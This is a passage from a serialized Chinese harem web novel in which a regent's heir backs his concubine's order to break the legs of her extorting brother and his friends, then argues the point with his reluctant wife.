不是林臻可以破坏规矩,而是宵禁这种规矩根本就不是给林臻这种人设立的,那些巡防队士兵看到林臻的马车,还要远远的敬上一礼。 这就是上位者的好处。 摄政王府那两扇巨大而沉重的朱漆大门上,狰狞的兽头铜环在摇曳的灯笼光影下显得有些狰狞。 马车并未在正门停留,而是径直驶向王府侧翼那同样气势磅礴的仪门。 平日里即便深夜归府,这座深宅大院也该陷入半睡半醒的宁静,如同蛰伏的巨兽。然而今夜,当马车驶入阔大的前庭时,林臻锐利的目光便立刻捕捉到了不同寻常的气息。 太亮了! 府邸内许多本应熄灭的灯火,此时竟煌煌燃着。 回廊下,甬道旁,都点着明亮的灯笼,将庭院映照得恍如白昼。 仆役们的身影也比往常多了许多,他们并非在安睡,而是三五成群地聚在角落里、柱子后,神情紧张,带着显而易见的惶恐不安,却又不敢大声交谈,只偶尔发出几声压抑的低语和倒吸冷气的声音。 一股无形的、沉重压抑的气息如同看不见的网,笼罩着整座府邸,连空气都似乎凝固了。 林臻的眉头几不可察地蹙了一下。 他并未开口询问,只是步伐沉稳地踏下马车。 刚走过前庭的影壁,一道熟悉而沉稳的身影便快步迎了上来。 林安穿着一身浆洗得挺括的深青色棉布长衫,衬得他愈发干练老成。 只是此刻,他那惯常带着从容微笑的脸上,此刻却绷得死紧,眼底深处藏着难以掩饰的凝重与焦虑。 他匆匆来到林臻近前,深深地作了一揖,声音压得极低,带着一丝不易察觉的微颤:“世子,您可回来了。出事了。” 林臻的脚步没有丝毫停顿,甚至连看都没看林安那焦虑的脸,目光平静地直视前方黑暗的回廊深处,只有低沉磁性的声音平静响起:“说。” 林安紧随着林臻的步伐,语速极快,却仍旧保持着刻意的压低:“是晴雯夫人。傍晚的时候她家里来了人。可不知何故竟惹得晴雯夫人勃然大怒,直接下令将人打断了腿给扔出府门了!” 他顿了顿,声音更低了:“这些人里面还有夫人的亲弟弟!现在晴雯夫人在正院上官夫人房里跪着呢!” 他说完,紧张地偷觑了一下林臻的神色。 却发现林臻脸上依然一片平静,没有任何波澜。 林臻听完,心中对此事的来龙去脉已然猜了个八九不离十。 估计又是穷亲戚上门打秋风了吧。 这也是没办法的事情,不管是浣碧还是晴雯,当年都是穷苦人家的闺女,现在发展的好,自然有人上门求。 但晴雯可不是那种不讲情面的主,肯定是那帮穷亲戚说了什么惹她生气了,否则不会下死手惩治。 林臻脚步未停,方向一转,径直朝着上官婉儿住的房间走去。 到地方后,侯春与王春生在院门前悄然止步。 这是内院,没有命令他俩不能进去。 而林安这个心眼子颇多的家伙早就跑没影了。 踏入外间,一股淡淡的、清雅怡人的檀香气息萦绕鼻尖。 林臻的目光扫过屋内。 只见房中的主位上端坐着一位身着洁白家常便服的女子。 她容貌清丽温婉,气质雍容娴静,正是婉儿。 此刻她并未入寝,而是捧着一盏早已没什么热气的青瓷茶盏,秀美的眉间微蹙着,透着一丝困扰和凝重。 就在上官婉儿面前不过五米的地方,一道同样身着锦缎裙裾、发髻却因剧烈活动而显得微微凌乱的女子身影,正挺直着背脊,以一种倔强甚至带着点桀骜不驯的姿态,直挺挺地跪在光可鉴人的花梨木地板上! 她的头微微垂着,露出一段白皙的脖颈,但从那侧脸紧绷的线条和紧抿的唇瓣来看,里面蕴藏着巨大的愤怒和不甘。 晴雯。 屋内的气氛异常凝重,烛火跳动的声音都清晰可闻。 伺候的侍女们早已悄无声息地退到了外间廊下,大气不敢出。 林臻目光扫过屋内这僵硬的一幕,脸上不见半分怒色,反而浮现出一抹温和的笑容。 他快步走向跪在那里的晴雯,在靠近她的瞬间,他非常自然、甚至带着几分亲昵地弯下腰,伸出修长有力的双手,稳稳地托住了晴雯的肘部。 “雯儿,”他的声音低沉温和,充满了安抚的磁性,像带着热意的泉水,“怎么滴?我听说你又淘气了?” 那语气轻松得如同在询问她今天去了哪里玩。 这句温柔的问话,如同一个无形的开关。 让跪在地上,身体僵硬、双拳紧握、压抑着巨大屈辱和愤怒的晴雯,猛地抬起了头! 林臻清晰地看到了她的脸——那双原本妩媚张扬的凤眼里,此刻蓄满了滚烫的泪水,如同一碰即碎的琉璃湖面。 红润的嘴唇紧抿着,微微颤抖,下唇已被她用力咬出了一道清晰的白痕。 她望着突然出现的林臻,那眼神里充满了复杂的情绪——有闯祸后面对依靠的瞬间脆弱,有对那些人无比的憎恶,还有一丝孩子般的委屈。 “夫君啊,”上官婉儿轻轻放下手中的茶盏,那瓷器落在紫檀木茶几上的声音清脆悦耳,却加重了屋内的凝重感。 她的目光带着一丝责备望向林臻,语气中充满了对事态发展的忧虑和对王府体面的维护:“您也该管管晴雯妹子了。家里有客上门,再怎么不对也终究是客。她不但不加以礼待,竟直接命人将人家打断双腿扔了出去,这成何体统?岂是王府该有的待客之道?” 她微微加重了语气,看向跪在地上的晴雯,“您还不知道,这些人里可是有她的亲弟弟!血亲啊!这若是传出去,王府颜面何在!” 这番话清晰地传递了她对晴雯行事作风的极度不满,和对王府名誉受损的担忧。 林臻仿佛没听到妻子的责难,脸上的笑容丝毫未减。 他微微用力,稳稳地将哭得浑身发颤的晴雯从冰冷的地板上扶了起来。 晴雯借着他的力量站起身,但腿脚显然因为长时间跪地而有些发麻,身体不由得摇晃了一下。 林臻立刻揽住了她的腰,半扶半抱地让她靠在自己身侧,然后引着她走到上官婉儿旁边的另一张红木雕花圈椅旁坐下。 “好了好了,别哭了,一会儿小脸都哭花了,像个丑八怪。” “丑就丑嘛~夫君还不是一样喜欢。” “哈哈哈哈,你这小妮子!说吧,具体怎么回事?都谁来了?说了什么做了什么?” 晴雯靠在林臻坚实的臂膀旁,似乎找到了主心骨。 她抽噎着,语速很快,带着无法掩饰的愤怒,竹筒倒豆子般将傍晚的遭遇说了出来: “还能是谁?!我那几个早就死绝了的家里人呗!” “住口!”婉儿厉声呵斥,“身为王府夫人,怎能胡言乱语,满嘴脏话!” 林臻摆摆手,示意她莫要打断。 晴雯继续说:“他们听说我在这里混得好了,做上了摄政王府的夫人,过上了他们想都不敢想的好日子,这不就闻着味儿又来了吗?打扮得人五人六的,站在咱们王府门口,扯着我爹娘的名头,说要见我这贵人姐姐!” 第551章 一百两还嫌少 人都说:穷在闹市无人问,富在深山有远亲。 这话是非常有道理的。 很多时候人性就是如此,当你混的不好的时候,没有人拿你当人,甚至你就住在他隔壁,他也不会来看你一眼。 但如果你混的好,家里有钱,就算你躲到天涯海角他们也能找到你,然后给你打电话,让你来参加婚礼。 人活的现实一点没有错,但如果太现实就会招人讨厌了。 晴雯这边具体怎么回事呢? 原来啊,晴雯本来带孩子在温泉那边玩水,就听丫鬟说自己弟弟来了。 多年没见,恩恩怨怨也会随着时间消除不少,晴雯还真去见了。 ...... 下午的霞光给摄政王府巍峨的朱门染上了一层金红。 四个身穿王府仆役服色的门房杂役垂手肃立,目光警惕地扫视着门外。 就在这时,几道人影畏畏缩缩却又带着一种刻意的趾高气扬,靠了过来。 为首的是个穿着崭新缎面袍子、却掩不住那股子市井粗鄙气的年轻男子,身后是他的几名狐朋狗友,众人都是一股无赖的样子。 年轻男子自然晴雯的亲弟弟火柱,他走到大门下,眼神滴溜溜扫过门房杂役那朴素的衣着,脸上立刻堆起一种故作矜持却又掩饰不住轻蔑的假笑,挺了挺胸脯,用一种刻意拔高的、带着土财主发迹般的腔调,对离他最近的杂役说道: “喂!兀那门子!去!进去通报一声!就说你家晴雯夫人的娘家人来了!让她速速出来迎接!听见没?麻利点儿!” 他甚至还掸了掸自己袍子上并不存在的灰尘,仿佛自己是多大的人物。 那杂役面无表情,上下打量了他一番,冷淡地回了一句:“稍等。” 火柱被对方那冷淡的态度噎了一下,脸上有些挂不住,刚要发作,旁边的兄弟赶紧拽了拽他袖子,低声劝着什么。 火柱这才悻悻地哼了一声,背着手,在王府大门前踱起了步子,眼珠子却贪婪地扫视着门楼上的雕梁画栋,以及门内偶尔走过、穿戴体面的仆从。 约莫半炷香后,杂役出来,面无表情的说:“跟我来。” 一盏明亮的烛火将不大的花厅偏室照得透亮。 晴雯坐在一张上好的酸枝木圈椅里,纤长的手指无意识地摩挲着光滑的扶手。 她穿着家常的湖蓝色锦绣襦裙,发髻梳得一丝不苟,插着一支赤金镶红宝的珠钗,脸上没什么表情。 门帘一挑,火柱一家子在杂役的带领下走了进来。 一进这华丽温暖、摆设着古玩瓷器的花厅,三人的眼睛都直了。 火柱脸上瞬间挤出巨大的、谄媚到近乎扭曲的笑容,腰弯得几乎要折了,小跑几步到晴雯面前,声音甜得发腻: “姐!亲姐哎!我苦命的好姐姐!可想死弟弟我了!”他张开双臂似乎想拥抱,却被晴雯冰冷而锋利的眼神钉在原地。 他讪讪放下手,搓着手,目光贪婪地扫过晴雯身上的锦缎和头上的珠宝,“这么多年了接,爹娘和我可真是想你想得肝肠寸断啊!唉...当年那都是没法子的事儿!家里穷啊,揭不开锅!爹娘实在不忍心,才让姐姐你出去奔个前程的!姐你看,这不!你这不是飞上枝头变凤凰了嘛!成了这天下第一王府里顶尊贵的夫人!爹娘和我,这心里那可是比吃了蜜还甜!天天在菩萨面前烧香磕头,保佑姐姐你荣华富贵,早生贵子呢!” 火柱身后的几个无赖也赶紧点头哈腰,陪着笑脸,七嘴八舌地附和着。 “是啊是啊,姐,你还记得我不?我是大篮子啊!” “我是小六子!” “姐,我们小时候还在一起吃过野菜呢!” 火柱说:“能有今日,爹娘在地下……哦不,在家乡也替你感到高兴!” 火柱一边说着抹眼角并不存在的眼泪,一边偷瞄晴雯的脸色,见她只是面无表情地看着自己,既不开口招呼他们坐,也没有半分动容的意思,心头也有些发虚,便直接往旁边的椅子上蹭。 “坐下说话。”晴雯终于开口,声音清冷,带着不容置喙的威严。 火柱如蒙大赦,赶紧屁股挨着椅子边坐下。 他其他朋友也想做,就听晴雯说道:“你们几个是什么东西?滚出去。” “我...” 火柱摆摆手,示意他们先出去。 毕竟钱还没到手呢,不能惹这位母老虎生气。 众人呼呼啦啦走了出去,火柱这才脸上堆着笑,搓着手,身子前倾:“姐,你如今是享福了!可咱家里遭了难,流年不利,颗粒无收,前些日子一场大火又烧掉了半边房子!爹娘还有我都好些天没吃过顿饱饭了!你侄子饿得嗷嗷哭啊。” 他努力想挤出几滴眼泪,却怎么也挤不出来,只得干嚎两声,眼睛却死死盯着晴雯。 晴雯放在扶手上的手指微微收紧了一下。 她本来已经快放下了,可偏偏火柱进门后一句真情的话都不说,满嘴的虚情假意。 这又让她想起当年家里人的嘴脸。 她看着眼前这个弟弟夸张拙劣的表演,心头那股被尘封多年的苦涩和恨意,现在如毒藤般疯长。 她没有看火柱,而是转头,对侍立在一旁的贴身丫鬟红玉冷声道:“红玉。” 红玉立刻会意,躬身退了出去。 火柱以为是要摆饭招待,脸上露出喜色:“姐!我就知道你...” 话音未落,红玉很快返回,双手捧着一大包银子,恭敬地递到晴雯面前。 晴雯伸手接过,然后手臂一抬,看也没看,“啪”的一声精准地甩在了火柱怀里! 那动作干脆利落,带着一种极致的轻蔑和打发叫花子的不耐烦。 火柱一愣,赶紧低头看了看包裹。 粗略一数,不下百两。 他脸上的喜色瞬间变得有些僵硬,喉头上下滚动了一下,贪婪的目光在银子和晴雯冷漠的脸庞之间逡巡。 “拿着这一百两银子,立刻带着你的狐朋狗友滚出王府,别让我再看到你们。”晴雯的声音如同淬了冰,在花厅里清晰回响,没有任何客套,没有任何温情,只有命令。 说完,她微微侧过身,端起旁边已经凉透的茶盏不再看他们一眼。 姿态分明是——送客! 火柱抱着银子,脸上的笑容彻底僵住,然后肉眼可见地慢慢褪色,转变为一种被人当众扇了耳光的尴尬羞耻。他猛地站了起来! “一,一百两?”他的声音因为骤然拔高和羞怒而变得有些尖利,脸上的谄媚荡然无存,只剩下一副被深深羞辱后强装不屑的愤怒嘴脸。 “姐!你就拿一百两打发你亲弟弟?一百两够干什么的?!在京城够塞几天牙缝?买几间屋?讨几房媳妇?!几天就花完了!你这是打发叫花子呢?!” 他“啪”地将银子拍在旁边的黄花梨小几上,力气之大震得上面的茶盏一颤。 他双手叉腰,脸上扭曲着一种混合了贪婪、不甘和恶意的表情。 “姐!你现在可是摄政王世子的侧夫人!手缝里随便漏点都不止一百两吧?府里那么多大铺子!就说离咱家门口不远的车马行!姐!这京城谁不知道那车马行是你管着的?那日进斗金啊!手指缝里漏那么点给我们算什么?!” 火柱越说越来劲,丝毫不看晴雯那已经铁青的脸。 “我可不要这点短命钱!姐!你给我在车马行安排个管事的位子!舒舒服服拿月钱!这样以后家里也能有个稳定进项,我以后也绝不再来烦你!这要求不过分吧?!” 说完他凑近一步,语气充满了理所当然的逼迫感。 晴雯端着茶盏的手骤然停住了! 她缓缓地、极其缓慢地转过身,那双明媚的凤眼里仿佛淬了千年寒冰,死死地锁定了火柱那张贪婪的脸。 一股无法抑制的怒火,瞬间笼罩了整个花厅,温度骤降! “小子,”她的声音是从牙缝里挤出来的,带着凛冽的杀气,“你听好了。车马行是王府的产业!是世子的!不是我的!我无权安排任何人!你拿着这一百两,现在,立刻,马上给我滚出王府大门!以后再敢踏进王府一步,休怪我不讲情面!” 最后一个字落下,如同冰锤砸地! 火柱被晴雯眼中那毫不掩饰的杀气和冰冷的话噎得倒退了一步。 但那点贪婪和愤怒迅速压过了恐惧,尤其同伴还在外面,肯定也听到了,他觉得颜面扫地! “不讲情面?!哈哈哈!” 第552章 打得好! 他发出一声极其刺耳的尖笑,像是被踩了尾巴的猫,猛地跳了起来,所有的伪装和谄媚彻底撕破,露出狰狞恶毒的本来面目! 他指着晴雯那张布满寒霜的俏脸,唾沫星子几乎要喷到晴雯脸上: “好你个忘恩负义的贱人!你跟我讲情面?!当年要不是爹娘好心把你从窑子门口拉回来卖给牙婆换了几个救命钱,你早就被那些下三滥啃得骨头都不剩了!哪里还有你今天坐在这王府里穿金戴银,朝那些下等人摆谱的份儿?!你这条命都是爹娘给的!是我们李家把你养到那么大!现在你好了!攀上高枝儿了!成了世子床上的暖脚货色了!就看不起我们这些穷亲戚了?!” 他的话语越来越恶毒,声音越来越歇斯底里,带着一种恨不得将晴雯扒光了展示在众人面前的疯狂快意: “让我们滚?不讲情面?好啊!来啊!你动我一下试试?!我是你的亲弟弟!打断骨头连着筋!你敢动我一根手指头,我就闹得满城风雨,让你这个不知廉耻、忘恩负义、残害亲族的贱人臭名远扬!我看你还有什么脸面在王府待着?!你这世子侧夫人的位置也别想坐热乎!我让整个京城的人都知道,你晴雯是个什么东西!让摄政王殿下也看看他宠的到底是个什么货色!” 恶毒的咒骂如同毒蛇的信子,疯狂地舔舐着晴雯的神经。 “够了——!!!” 一声压抑到极致、如同濒死野兽般愤怒到极点的嘶吼猛地从晴雯喉中爆发! 她啪地一下狠狠将手中那早已冰凉的茶盏重重掼在几案上! 坚硬的瓷盏瞬间四分五裂!已凉的茶水和碎片四溅开来,那张原本就因愤怒而有些苍白的花容月貌,此刻彻底被一层骇人的、冰冷的煞气覆盖! 眼中燃烧的怒火足以焚毁一切! 她猛地站起身! 高挑的身形带着强大的压迫感,裙摆扫过地上的碎片! 她伸出手指,带着一股无法形容的凛冽与决绝,直直地点向还在跳脚叫骂的火柱。 “来人!!!” 她的声音尖锐刺破云霄,带着不可抗拒的命令! 花厅的门猛地被推开! 两个身穿王府护卫劲装、腰挎雁翎刀的壮硕身影应声而入! 肃杀之气瞬间弥漫! 与此同时,火柱的朋友们也冲了进来。 晴雯挺直了脊背。 她指着面前这群如蝼蚁般的人,说道。 “把这几个不知死活的狗东西给本夫人拖出去!!!打折腿!” 她的声音陡然拔高到极致! “一条腿都不许留!然后给本夫人扔到大街上去!” “是!!!” 两个护卫如狼似虎地扑了上去! 动作迅捷无比,火柱这下真害怕了。 不管他在当地混成什么样子,终究不能和杀过人的正规军比。 “姐——!”他只来得及发出一声短促的,就被两个护卫一人一边如同提小鸡般反剪了双臂! 他身后几个青壮汉子还想反抗,被另外一个护卫三圈两拳在翻在地。 “啊!!” “疼啊!别打啦!” “姐!姐!你看看我,是我啊,我还给你剥过荔枝呢!” “拖走!”晴雯厉喝,声音里没有丝毫温度。 护卫动作粗暴而熟练,像拖死狗般将他们往外拖去! 很快,花厅外远处空旷的庭院里,便传来几声沉闷的、令人牙酸的“咔嚓”骨裂脆响! 晴雯讲到这里,声音依旧带着怒火未消的凛冽,但更多是一种发泄后的复杂情绪。 “然后他们就被丢在王府侧门外的街角了!哼!什么她妈的恩情,当年他们为了让这个该死的弟弟能活下去,硬把我插上草标卖给了人牙子,拿了换命钱!这么多年了,他们在哪?是死是活我全当不知道!现在看我过得好,有钱有权了,他们又舔着脸凑过来要钱!还要前程!天下有这道理?!” 林臻一直安静地听着,脸上的笑容从始至终未曾褪去,甚至在听到精彩处时,嘴角的弧度还加深了几分。 直到晴雯讲述完毕,她那怒火中烧的脸上重新挂上骄傲与不驯的表情。 林臻突然放声大笑起来! “哈哈哈哈哈!好!打得好!”他响亮地赞赏着,伸手极其自然地刮了一下晴雯挺翘秀气的鼻尖,动作亲昵无比,眼神里充满了毫不掩饰的纵容和赞赏。 “不愧是我林臻的女人!够痛快!够气魄!就该这样打!打得响亮!打得彻底!敢到我摄政王府来撒泼打滚、敲诈勒索?真当王府是善堂了?这也就是你心善,若是我,我非剖开他们的肚子,看看他们到底长了几个胆子!” 他大手一挥,斩钉截铁地说道:“雯儿,你这事办得没毛病!甚合我意!下次,要是再有不长眼的混账东西,还敢说什么家里人,亲戚,跑到我王府门前来攀交情、要好处、打秋风的,记住,不必废话!一律给本世子打断狗腿扔出去!让他们带着血好好长长记性!” 这霸道绝伦的话语,如同惊雷劈落! 直接将晴雯刚才的委屈、愤怒、委屈全部劈散! “夫君!”晴雯惊喜万分地抬起头,眼中还带着残留的泪珠,但那里面已然是满满的亮光! 那张混合着怒火与骄傲、英气与妩媚的俏脸上,瞬间绽放出灿烂无比的笑容,如同雨后的海棠,明艳不可方物! 巨大的喜悦和认同感如同暖流瞬间包裹了她的全身! 她再也抑制不住激动,瞬间搂住林臻的脖颈,吻了上去。 这一吻十分用力,好像要把林臻的毛细血管都抽干。 “咳咳咳。”旁边一直试图维持王府体面与礼法的上官婉儿,看着这一幕,深深地、无力地长叹了一口气。 她缓缓放下手中那杯早已凉透的茶盏,茶盏底部触碰到桌面,发出一声沉闷的轻响。 林臻这才拍了拍晴雯的屁股,示意她下来。 婉儿站起身,说:“唉,罢了。” 说完她转身,挺直着世家女仅存的优雅背脊,一步一步,沉重而缓慢地走进了内室深处,珠帘在她身后晃动,发出细碎清冷的撞击声。 这个王府,她似乎是真的管不了了。 第553章 妾身今天不想吃药 上官婉儿转身走进内室的珠帘,那珠串碰撞的细碎清响,在寂静的厅堂里显得格外寂寥,仿佛是世家礼仪在权力任性面前一声无奈的叹息。 林臻的目光一直追随着她优雅却透着沉重落寞的背影消失在珠帘之后,低头看向怀中的晴雯。 晴雯脸上还带着畅快淋漓的笑容和刚才那印记未干的吻痕,依偎在他臂弯里。 “有夫君在,真好。” 林臻坏笑着捏住她的下巴:“那你想怎么回报你最爱的夫君啊?” 说完他在晴雯那丰满的屁股上掐了一下。 说实话,这么多女人里,他最喜欢的就是晴雯,不仅是因为晴雯长得好看,身材也更完美,尤其在床榻上时那疯狂又顺从的模样,简直能迷死人。 可晴雯却并未露出享受的表情,反而轻轻抬起手,将他往珠帘方向推了推。 那力道很轻,但意思却异常清晰。 “嗯?”林臻剑眉微挑,略显诧异地看向她那张娇艳却隐含一丝复杂神色的俏脸。 晴雯微微仰头,迎上他带着询问意味的目光,低声道:“婉儿姐姐心里肯定特别不好受。要不夫君去陪陪她吧?今晚就别去我院里了。” 这话从晴雯口中说出,带着一股与她火爆性子极不相符的柔和。 林臻脸上的诧异更浓,嘴角勾起一抹玩味的笑意,俯身凑近她耳边,温热的呼吸拂过她耳廓:“奇怪,我家雯儿什么时候也学会这般善解人意了?” 他伸手刮了下她挺翘的鼻尖,“你不怪她让你跪着?” 晴雯脸颊微微一热,略略避开他那探究的眼神,声音虽轻却异常清晰:“我若是怪,便不会跪下来。我能理解婉儿姐姐为何会那样。再说,在你心里头我就那么像个只会喊打喊杀、不通情理的恶毒妇人么?” “当然没有!”林臻毫不犹豫地回答,低沉的笑声带着宠溺,“我家雯儿是真性情,明事理,今日做得很对。” 他话锋一转,眼中笑意更深,“那...我可真去了?” 语气带着一丝试探,也有一丝了然。 晴雯被他看得有些不好意思,推了他胸口一把,力道不大却带着决然:“去吧去吧!别杵在这儿了!婉儿姐姐肯定还没睡下呢!” 说完,她不再看他,干脆利落地转身,径自朝着自己院落的方向走去,步履轻快,带着一阵裙裾拂过的香风,很快也消失在回廊的转角暗影里。 林臻看着晴雯干脆离去的背影,眼中的笑意沉淀下来,化为一丝不易察觉的思索。 他转身,再次撩开那副还在微微晃动的珠帘,放轻脚步,走进了上官婉儿所居的内室。 室内烛火通明,燃着几支巨大的红烛,将室内照得如同白昼。 空气中弥漫着婉儿平日里最喜欢的,一种清雅淡远的迦南香的气息。 只见那张宽大华美的花梨木拔步床上,铺着柔软的锦褥,锦被也铺开了,只是并未掀开。 上官婉儿果然没有入睡,她仅穿着一身素白色绣缠枝莲纹的柔软中衣,发髻松散地挽着,几缕青丝垂落肩头。 她并非和衣而卧,而是像一个严格遵守仪轨的女学生,身体绷得笔直地仰面躺在床的外沿,被子平整地盖到胸前,双手规矩地交叠放在小腹上,双眼定定地望着帐顶繁复华丽的缠枝莲藻井图案,眼神空茫而黯淡。 柔和的烛光在她清丽温婉的侧脸上跳跃,勾勒出那微微蹙起的秀眉和紧抿的唇角。 她本就是自小被世家规矩严格教养出来的大家闺秀,视礼仪门风如生命。 今天林臻对晴雯那番毫不遮掩的袒护和支持,以及他所定下的那“再敢来,一律打断腿”的粗暴规矩,都像一柄重锤,狠狠砸在她辛苦维系、奉为圭臬的规矩和仁恕之上,让她既感无力,又无比难过。 偏偏这份难过还无法诉诸于口,只能化作胸口堵得发慌的酸涩与空洞。 林臻心头微微一软。 他走到床边,并未立刻躺下,而是先坐到了床沿。 身下的锦褥随之微微凹陷下去一块。 他伸出手,宽厚温热的手掌轻轻落在上官婉儿隔着柔软中衣的肩头,带着安抚的意味拍了两下。 “婉儿,”他声音低沉,带着不易察觉的柔和,“还在为刚才的事生气呢?” 这声呼唤和触碰似乎惊醒了沉陷在自己思绪中的上官婉儿。 她如同受惊的小鹿,身体几不可察地轻颤了一下,随即立刻坐起身子。 动作间,锦被滑落,露出一段白皙的颈项和玲珑的锁骨。 她垂着眼帘,并未直视林臻,但那挺直的背脊、交叠在身前微微绞紧的双手,以及脸上努力维持的温和平静,无一不透着一种世家女特有的、近乎刻板的恭敬。 “夫君,”她的声音一如既往的清柔悦耳,却像隔着一层无形的纱,“妾身怎敢生气。” 语气是恭敬的,姿态是驯顺的,但那份疏离感却比平日更甚。 林臻看着她这副模样,心里了然,叹了口气,语气带着教导般的语重心长:“你啊,在大乾根基尚浅,很多事情只看到书上说的道理,却不明白真正的人情世故和生存之道。你且听我说。” 他声音不高,却字字清晰:“像那些所谓亲戚族人,日子过不下去了,我们王府发点善心,施舍些银钱,让几家孤儿寡母吃上几顿饱饭,那自然可以。这本就不是坏事,也是上位者的德行。但是——” 他话锋一转,眼神陡然变得锐利而冷静。 “施舍归施舍,却绝不能让他们觉得这王府的钱是大风刮来的,是他们可以予取予求的!更不能让他们以为,靠着脸皮厚,靠撒泼打滚,靠血脉上那点早就凉透了的关系,就能跑到堂堂摄政王府来敲诈勒索!抢占东西!这两者,云泥之别,泾渭分明!今天晴雯遇到的,就是后一种!若由着他们开了这个头,尝到了甜头,你信不信,明天后天,会有数不清的阿猫阿狗,七大姑八大姨,都会蜂拥而至,打着各种旗号来王府门口伸手要钱要官要差事!还什么亲戚?真到那时候,累死的骡子都数不过来!” 他顿了顿,看着婉儿那低垂着、却显然在仔细倾听的眼帘,继续道。 “晴雯今天做的,或许在你看来粗暴直白,甚至有辱斯文,损伤了王府的‘清贵之气’。但我告诉你,她这事办得干净利落,斩草除根,没有任何问题。那些人,被贪欲蒙了心肝的恶客就该打!打得他们长记性!打得他们痛彻心扉!让他们这辈子想起王府两个字就腿肚子转筋!唯有如此,王府的门槛才真正守得住!否则,我们这日子,根本没法过了!” 上官婉儿放在腿上的手微微蜷缩了一下,指尖陷入了柔软的丝绸中衣布料里。 她依旧没有抬头,只是倔强地将脸微微扭向床的内侧,声音带着一种压抑的执拗:“妾身也并未说晴雯妹妹做得错。只是...只是觉得那办事的手段终归过于凌厉了些。我们毕竟是王府,是立于万人之上的豪门巨族,一言一行自有风范礼数。普通百姓无知愚昧,若这般对待,恐惹物议,损及王府清誉。” 在她所受的教养里,上位者当以德行仁心服人,动辄用强,有失体统。 “呵呵呵呵。”林臻嗤笑一声,眼中带着一丝洞悉世情的不屑与冷硬,“上位者确实不该随意对底层百姓出手,这是本分。可婉儿,你细想想今天那些人是什么东西?” 他声音提高几分,带着质询:“晴雯给的是一百两白银,足够他们一家三年嚼头!这恩情难道不够?可那小子拿了银子还想得寸进尺!甚至辱骂!侮辱!仗着那点摇摇欲坠的血脉关系,当众撒泼,污言秽语如同市井泼妇!口口声声把晴雯的往事揪出来说,还影射王府!威胁要将府里丑事闹得满城风雨!这是普通百姓?这是一群被贪念撑破胆子的混账刁民!打断腿?哼!依我看,仅仅是打断腿,已经是看在晴雯那点旧情和所谓血脉上法外开恩了!留了他们一条狗命!” 这番话如同沉重的石块,砸在婉儿心头构建的“仁恕”之塔上。 她想要反驳,却又觉得他说的不无道理,心中的坚持越发显得苍白无力。 林臻的声音放平缓了些,带着不容置疑的总结。 “你知道的,以前浣碧家里来人要钱,那时候王府还没有今天的恢宏,但我也给了五十两银子。结果如何?拿着银子走了是不假,可出去后打着王府姻亲的旗号在外面强买强卖,惹下祸事,俪儿管了几次还不知道收敛,最后还不是一人铡折一条腿?教训就在眼前!所以,婉儿。” 他目光深沉地注视着终于缓缓转过脸来看向自己的妻子,语气斩钉截铁。 “以后但凡有所谓的亲戚,尤其是那种八竿子打不着的远亲族人,摸到王府来想打秋风的。不必客气,看在血脉的份上,先给一百两,遣走。若有不识相的,像今天那小子那样不知足还口出狂言、意图纠缠不走的,无论亲疏远近,一律按晴雯今天立的规矩办——打断腿,丢出府去!让他们带着血,长长脑子!” 林臻的话语带着冰冷的现实力量。 上官婉儿彻底沉默了。 她所有的委屈、所有的坚持、所有对世家体面与仁恕之道的守护,在这赤裸裸的强权逻辑面前,如同冰雪遇到骄阳,轰然瓦解。 她深深地垂下头,浓密的长睫掩盖住眼中所有的情绪。 良久,才如同认命般,清晰地吐出三个字: “妾身……知道了。” 看着她低眉顺眼、将所有不甘都强自压抑下去的样子,林臻眼底闪过一丝复杂。 他知道,想改变婉儿的心性还需要很长时间,不过没关系,林臻有信心让婉儿在坚持传统女德的同时,变成一个活灵活现,有血有肉的女人。 她以后不会再是那个视传统礼仪教化为生命的封建女子,而是一个对现实社会游刃有余的当家主母。 “知道了就好,别瞎想了。”他忽然坏笑着,一把拉起了婉儿那只柔软却带着些微凉意的手,握在自己温热的掌心里。 “夜深了,我们该歇了。来吧,吃药。”话里的药字带着促狭的暗示。 不料,一向温顺的婉儿却少见地挣了挣,想要抽回自己的手,头也偏向一侧,声音有些闷闷的,带着难以察觉的疲惫和某种推拒: “妾身...妾身今天不想吃药。”她避开他的目光,语气忽然转换,带着刻意的体贴。 林臻有些懵。 以前不管自己有什么要求她都满口答应,可今天这妮子转变的够快的! 难道是自己刚刚那番话起作用了? “夫君,你还是去看看月妩妹妹吧?自从她有了身子,您似乎很久都没去看望她了。” 林臻脸上的笑容微微一滞。 他看着婉儿那明显是在回避的姿态,又听她提到有孕在身的月妩,眼神闪烁了一下,随即自然地松开了她的手,顺势站起身,脸上又恢复了那种掌控一切的自若: “也好,我确实是该去看看了。”他不再勉强,也不再多言,抬脚便往门外走去,“那你好好休息。” “妾身恭送夫君。”婉儿垂首低声应道,声音平静无波。 林臻大步离去,内室厚重的布帘隔绝了外间的光影。 那沉稳的脚步声很快消失在门外回廊的尽头。 第554章 安胎药 直到那脚步声彻底听不见,一直低着头的上官婉儿才缓缓抬起了脸庞。 那双清丽温婉的眼眸追随着他离去的方向,定定地望着那无声垂落的厚帘,仿佛能穿透重重锦障一般。 烛光在她脸上跳跃,映出那无法掩饰的、一层淡淡的失落。 那感觉很轻,如同晚风拂过烛火带起的微尘,却又沉重地落进心湖里,漾起了无声的涟漪。 她默默收回目光,重新躺下,拉起锦被盖好,指尖无意识地抚过被他刚才握过的手腕,那里似乎还残留着一点不属于自己的温热。 “或许,真的是我错了也说不定呢...”婉儿喃喃自语。 她猛然发现,自己在拒绝吃药的那一刻......心里真舒服。 原来拒绝丈夫,是这么令人舒坦的一件事情。 可不知为何,心的最深处还是有个声音在告诫自己。 自己是名门闺秀,是传统女子,不能这样和丈夫说话。 婉儿捂上了耳朵,表情有些痛苦。 因为她也不知道自己到底应该怎么办。 ?...... 林臻的脚步很轻,踏在王府后宅夜深人静的回廊地板上,几乎没有发出任何声响。 偌大的王府在夜色中显得更加静谧,只有值夜侍卫偶尔远处传来的甲片摩擦声。 他很快便来到了月妩居住的别院。 院门虚掩着,里面黑沉沉一片,只有厢房里透出一点朦胧的月光。 显然,夜深人静,月妩早已安歇。 守夜的丫鬟大概也耐不住困倦,在门房里小憩,并未察觉他的到来。 林臻悄然推开门,发出一声几不可闻的吱呀轻响。 一股混合着清淡花露水与女子体香的馥郁气息瞬间扑面而来,萦绕鼻尖,带着一股温暖诱人的甜香。 借着从窗外泼洒进来的、皎洁如水的清冷月光,他目光精准地落在房间深处那张拔步床上。 只见一位身姿曼妙玲珑的女子正侧卧在锦被之中,头朝内,暂时看不清脸,但那起伏有致、在薄薄亵衣包裹下更显诱惑的曲线,在朦胧的光线下已足以令人心神摇曳。 